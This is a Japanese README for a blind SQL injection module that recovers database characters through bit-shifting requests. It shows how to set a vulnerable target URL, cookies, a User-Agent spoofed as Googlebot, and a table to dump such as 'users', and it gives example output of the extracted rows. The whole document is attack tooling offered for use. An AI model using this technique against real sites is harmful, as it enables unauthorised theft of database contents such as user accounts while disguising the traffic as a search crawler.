
ビットシフトを用いて文字を算出するブラインドSQLインジェクションモジュール。
これは、ビットシフト方式を用いて文字を推測するのではなく計算することでブラインドSQLインジェクションを実行するモジュールです。設定に応じて、1文字あたり7〜8回のリクエストを必要とします。
import blind-sql-bitshifting as x
# 攻撃ベクターを設定するためにこの辞書を編集します
x.options
# 脆弱なリンク
x.options["target"] = "http://www.example.com/index.php?id=1"
# Cookieを指定(オプション)
x.options["cookies"] = ""
# 特定の行に対する条件を指定(例: 管理者用の'uid=1')(オプション)
x.options["row_condition"] = ""
# リダイレクトを追跡するかどうかのブール値
x.options["follow_redirections"] = 0
# User-Agentを指定
x.options["user_agent"] = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
# ダンプするテーブルを指定
x.options["table_name"] = "users"
# ダンプするカラムを指定
x.options["columns"] = "id, username"
# ステートメント成功後にページでチェックする文字列
x.options["truth_string"] = "<p id='success'>true</p>"
# 以下を参照
x.options["assume_only_ascii"] = 1
assume_only_ascii オプションは、ダンプする文字がすべてASCIIであるとモジュールに仮定させます。ASCII文字セットは最大 127 までなので、最初のビットを 0 に設定し、計算の必要がなくなります。これによりリクエスト数が 12.5% 削減されます。ローカルテストでは、平均速度が 15% 向上しました。もちろん、ASCII範囲外の文字をダンプする場合に問題が発生する可能性があります。デフォルトでは 0 に設定されています。
設定後:
data = x.exploit()
これにより2次元配列が返され、各サブ配列は1行のデータを含み、最初の行はカラムヘッダーです。
出力例:
[['id', 'username'], ['1', 'user1'], ['2', 'user2'], ['3', 'user3'], ['4', 'user4']]
必要に応じて、スクリプトで tabulate モジュールを利用してデータを出力することもできます:
from tabulate import tabulate
data = x.exploit()
print tabulate(data,
headers='firstrow', # 最初の行をカラムヘッダーとして使用する指定
tablefmt='psql') # SQL出力形式を使用。他の形式も利用可能。
これにより次のように出力されます:
+------+------------+
| id | username |
|------+------------|
| 1 | user1 |
| 2 | user2 |
| 3 | user3 |
| 4 | user4 |
+------+------------+